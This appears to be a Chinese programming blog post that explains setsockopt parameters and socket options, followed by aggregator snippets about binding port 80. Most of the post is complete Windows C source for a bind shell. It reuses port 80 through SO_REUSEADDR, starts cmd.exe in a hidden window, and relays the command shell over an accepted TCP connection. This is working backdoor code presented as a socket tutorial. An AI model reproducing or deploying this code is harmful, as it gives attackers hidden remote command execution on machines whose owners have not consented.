setsockopt绑定80端口

[2014/10/23 23:52]

setsockopt设置与某个套接字关联的选项。

<param>sock</param>  将要设置的套接字

<param>level</param>  选项所在的协议层。比如套接字层SOL_SOCKET

<param>optname</param>  操作的选项名

<param>optval</param> 指向包含新选项值的缓冲

<param>optlen</param> 选项的长度。差不多就是指针的长度,因为参数4是一个指针,可能是为了32位与64位版本统一

函数的功能比较多,比如:

Q1 设置 允许重用本地地址和端口重用,就是本例子,设置重用了80端口。

Q2 设置接收缓冲区的大小

// 接收缓冲区
int nRecvBuf=32*1024;         //设置为32K
setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int));

Q3 而设置收发时限

int nNetTimeout=1000;//1秒
//发送时限
setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int));
//接收时限
setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int));
// Mini.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"

#pragma comment(lib,"ws2_32.lib")
#include <winsock2.h>
#include <windows.h>
//#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

#define MAX_SER 10
#define HOST_PATH 256
#define HOSTNAME_SIZE HOST_PATH
#define MasterPort 80						//定义监听的端口

char hostName[MAX_PATH]={0};
unsigned short maxService;
unsigned short port;

void Service(LPVOID lpv);
int LoopControl(SOCKET llistenfd,int isMultiTasking);
void initial();
int initSockets(void);											//初始化Windows Socket

int main(int argc, char * argv[])
{
	SOCKET listenFd,acceptfd;
	struct sockaddr_in serverAddr,clientAddr;
	char buffer[1024];
	int nSize=sizeof(sockaddr_in);
	int err;

	PROCESS_INFORMATION ProcessInfo;
	STARTUPINFO StartupInfo;
	char szCMDPath[255];

	initial();
	initSockets();

	//分配内存资源
	ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
	ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
	GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));

	//GetStartupInfo(&StartupInfo);
	//创建socket
	//listenFd=socket(PF_INET,SOCK_STREAM,0);
	/*
	* The WSASocket function creates a socket that is bound to a specific transport-service provider.
	*/
	listenFd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);

	BOOL var=TRUE;
	/*
	* s [in]:		A descriptor that identifies a socket.
	* level [in]:	The level at which the option is defined (for example, SOL_SOCKET).
	* optname [in]: The socket option for which the value is to be set (for example, SO_BROADCAST).
	* optval [in]:	A pointer to the buffer in which the value for the requested option is specified.
	* optlen [in]:	The size, in bytes, of the buffer pointed to by the optval parameter.
	*/
	setsockopt(listenFd,SOL_SOCKET,SO_REUSEADDR,(char*)&var,sizeof(var));
	if(listenFd==INVALID_SOCKET){
		printf("error:out of socket resource \n");
		return 1;
	}

	//bind本机的端口
	serverAddr.sin_family=AF_INET;															//协议类型是INET
	serverAddr.sin_addr.S_un.S_addr=inet_addr("192.168.1.9");//htonl(INADDR_ANY);										//本机IP
	serverAddr.sin_port=htons(MasterPort);													//绑定端口为9990

	err=bind(listenFd,(const struct sockaddr *)&serverAddr,sizeof(serverAddr));
	if(err==INVALID_SOCKET){
		printf("error: unable to bind socket \n");
		return 1;
	}

	//listen 监听端口
	err=listen(listenFd,3);
	if(err==INVALID_SOCKET){
		printf("error: listen socket failed \n");
		return 1;
	}
	printf("listen......");

	acceptfd=accept(listenFd,(struct sockaddr *)&clientAddr,&nSize);			//接收客户连接的准备

	/*
	*   nLength : The size, in bytes, of this structure.
	*   lpSecurityDescriptor : A pointer to a SECURITY_DESCRIPTOR structure that controls access to the object,If the value of this member is NULL,
	*						   the object is assigned the default security descriptor associated with the access token of the calling process.
	*   bInheritHandle : A Boolean value that specifies whether the returned handle is inherited when a new process is created.
	*/
	SECURITY_ATTRIBUTES sa;
	sa.nLength=12;
	sa.lpSecurityDescriptor=0;
	sa.bInheritHandle=true;

	HANDLE hReadPipe1;
	HANDLE hWritePipe1;
	HANDLE hReadPipe2;
	HANDLE hWritePipe2;

	/*
	* Creates an anonymous pipe, and returns handles to the read and write ends of the pipe.
	*   hReadPipe [out] : A pointer to a variable that receives the read handle for the pipe.
	*   hWritePipe [out] : A pointer to a variable that receives the write handle for the pipe.
	*	lpPipeAttributes [in, optional] : If lpPipeAttributes is NULL, the handle cannot be inherited.
	*   nSize [in] : The size of the buffer for the pipe, in bytes. The size is only a suggestion;
	*                the system uses the value to calculate an appropriate buffering mechanism. If this parameter is zero, the system uses the default buffer size.
	*/
	err=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
	err=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);

	//配置隐藏窗口结构体
	StartupInfo.cb=sizeof(STARTUPINFO);
	StartupInfo.wShowWindow=SW_HIDE;
	StartupInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	StartupInfo.hStdInput=hReadPipe2;
	StartupInfo.hStdOutput=hWritePipe1;
	StartupInfo.hStdError=hWritePipe1;

	//创建匿名管道
	BOOL ret=CreateProcess(NULL,szCMDPath,NULL,NULL,TRUE,0,NULL,NULL,&StartupInfo,&ProcessInfo);
	if(ret){
		printf("%d",GetLastError());
	}

	unsigned long lBytesRead;
	while(1){
		/*
		* Copies data from a named or anonymous pipe into a buffer without removing it from the pipe. It also returns information about data in the pipe.
		*   hNamedPipe [in] : A handle to the pipe. This parameter can be a handle to a named pipe instance
		*	lpBuffer [out, optional] : A pointer to a buffer that receives data read from the pipe. This parameter can be NULL if no data is to be read.
		*   nBufferSize [in] : The size of the buffer specified by the lpBuffer parameter, in bytes. This parameter is ignored if lpBuffer is NULL.
		*   lpBytesRead [out, optional] : A pointer to a variable that receives the number of bytes read from the pipe. This parameter can be NULL if no data is to be read.
		*   lpTotalBytesAvail [out, optional] :  pointer to a variable that receives the total number of bytes available to be read from the pipe.
		*   lpBytesLeftThisMessage [out, optional] : A pointer to a variable that receives the number of bytes remaining in this message
		*/
		err=PeekNamedPipe(hReadPipe1,buffer,1024,&lBytesRead,0,0);
		if(lBytesRead){

			/*
			* Reads data from the specified file or input/output (I/O) device
			*   hFile [in] : A handle to the device
			*   lpBuffer [out] : A pointer to the buffer that receives the data read from a file or device.
			*   nNumberOfBytesToRead [in] : The maximum number of bytes to be read.
			*   lpNumberOfBytesRead [out, optional] : A pointer to the variable that receives the number of bytes read when using a synchronous hFile parameter
			*   lpOverlapped [in, out, optional] :
			*/
			ret=ReadFile(hReadPipe1,buffer,lBytesRead,&lBytesRead,0);
			if(!ret){
				break;
			}
			ret=send(acceptfd,buffer,lBytesRead,0);
			if(ret<=0) break;
		}
		else{

			lBytesRead=recv(acceptfd,buffer,1024,0);
			if(lBytesRead<=0){
				break;
			}

			/*
			* If the function succeeds, the return value is nonzero (TRUE).
			*/
			ret=WriteFile(hWritePipe2,buffer,lBytesRead,&lBytesRead,0);
			if(!ret) break;
		}
	}
	//WaitForSingleObject(ProcessInfo.hProcess,INFINITE);

	CloseHandle(ProcessInfo.hProcess);
	CloseHandle(ProcessInfo.hThread);

	printf("server is down \n");

	//关闭进程句柄
	closesocket(listenFd);
	closesocket(acceptfd);
	WSACleanup();

	return 0;
}

void initial()
{
	maxService=3;
	port=5054;
}

 /*
  *	Winsock服务初始化
 */
int initSockets(void)
{
	WSADATA wsaData;
	WORD sockVersion;                                              //typedef unsigned short WORD(16)
	int err;
	sockVersion=MAKEWORD(2,2);
	err=WSAStartup(sockVersion,&wsaData);
	if(err!=0)
	{
		printf("error %d :winsock not avaliable\n",err);
	}
	printf("environemnt invaild success.....\n");
	return 0;
}

失望的是程序仅仅执行一次,之后就不能连接了

时间: 2024-10-16 04:15:09

setsockopt绑定80端口的相关文章

Mac OS X下绑定80端口

Mac OS X 因为要绑定80端口需要ROOT权限, 但是如果用root权限启动eclipse或tomcat又会造成, 启动创建的各类文件是root的,普通用户无法删除. 为此, 我们可以通过pfctl做网络层的端口转发, 让连接到本机80端口的请求, 都转发到9090端口: (注意, Mac OS 会使用80端口做网络文件共享, 要先关闭掉) 修改/etc/pf.conf, 使用sudo vim /etc/pf.conf pf.conf是对顺序强要求的, 所以注意添加的内容放的顺序 rdr-

Mac OS X 绑定80端口,不装nginx的小技巧

Mac OS X 因为要绑定80端口需要ROOT权限, 但是如果用root权限启动eclipse或tomcat又会造成, 启动创建的各类文件是root的,普通用户无法删除. 为此, 我们可以通过pfctl做网络层的端口转发, 让连接到本机80端口的请求, 都转发到9090端口: (注意, Mac OS 会使用80端口做网络文件共享, 要先关闭掉) 修改/etc/pf.conf, 使用sudo vim /etc/pf.conf?pf.conf是对顺序强要求的, 所以注意添加的内容放的顺序 [jav

linux中绑定80端口失败

Ubuntu 14.10 64bit bind 80端口失败,提示: Bind error! : Permission denied 起初以为是80已经被占用,lsof -i :80 , 发现没有, 结果发现 在基于Unix的系统上,绑定小于1024的端口需要root权限. 解决方法很简单,以root权限运行程序吧.. 当然还有其它办法,如反向代理,端口转发等....

ubuntu下Tomcat绑定80端口

转载自:https://www.2cto.com/os/201102/84081.html 工作环境迁移到了Ubuntu,很多东西发生了变化,比如原先配置tomcat端口.只需要配置server.xml文件就可以了.但是在Ubuntu下,只修改了server.xml文件后发现无法访问到服务.起初以为是有别的进程占用了80端口,但是通过netstat -an | grep 80后并没有发现有进程在占用80,Google了一下,发现tomcat使用1023以下的端口时需要使用authbind来指定.

linux系统非ROOT用户80端口不能启动tomcat问题的变通办法——通过Iptables端口转发

2010-07-17 13:21:42 org.apache.tomcat.util.digester.SetPropertiesRule begin 警告: [SetPropertiesRule]{Server/Service/Engine/Host/Context} Setting property 'debug' to '0' did not find a matching property. 2010-07-17 13:21:42  org.apache.catalina.core.Ap

没有80端口的备案域名,如何做微信公众平台的开发?本文介绍可以通过任何域名来做开发,www.baidu.com和www.163.com和www.so.com这样的域名都可以

1.首先做过微信开发的朋友都知道,微信后台需要绑定80端口的备案域名,如果此时手上没有80端口的备案域名就不能进行开发了吗?当然不是 首先在这些地方绑定一个备案域名,国内公司的网址基本上是有备案的如www.baidu.com和www.163.com和www.so.com这样的域名都可以 我用test.baidu.com域名做测试 网页账号 网页授权获取用户基本信息 无上限 已获得   修改 test.baidu.com 公众号设置 业务域名 设置 test.baidu.com js接口安全域名

80端口占用解决方法(转)

今天启动Apache的时候老是提示失败,很简单,使用 netstat -ano 发现80端口被占用. 方法/步骤 今天启动Apache的时候老是提示失败,很简单,使用 netstat -ano 发现80端口被占用.如图所示: 按照PID 来说:在任务管理器中查看PID 的进程名 既然是system.那么 应该不回是真正的系统. 而是 微软的其他系列产品的进程在运行. [注意:我已经在服务 services.msc中结束了 IIS ADmin 服务] 但是 其实 IIS 服务真正没有关闭. 80端

【转】Windows10下80端口被PID为4的System占用导致Apache无法启动的分析与解决方案

昨天刚更新了Windows10,总体上来说效果还是蛮不错的,然而今天在开启Apache服务器的时候却发现,Apache莫名其妙的打不开了,起初以为是权限的问题,于是使用管理员身份的控制台去调用命令net start Apache2.4,结果依然是无法打开.手动启动服务报错“Windows不能再本地计算机启动Apache,有关更多信息,查阅系统时间日志.如果这是非Microsoft服务,请与服务厂商联系,并参考特定服务错误代码1.”如下图所示: Windows不能再本地计算机启动Apache,有关

Linux网络编程——端口复用(多个套接字绑定同一个端口)

在<绑定( bind )端口需要注意的问题>提到:一个网络应用程序只能绑定一个端口( 一个套接字只能绑定一个端口 ). 实际上,默认的情况下,如果一个网络应用程序的一个套接字 绑定了一个端口( 占用了 8000 ),这时候,别的套接字就无法使用这个端口( 8000 ), 验证例子如下: [objc] view plaincopy #include <stdio.h> #include <stdlib.h> #include <string.h> #inclu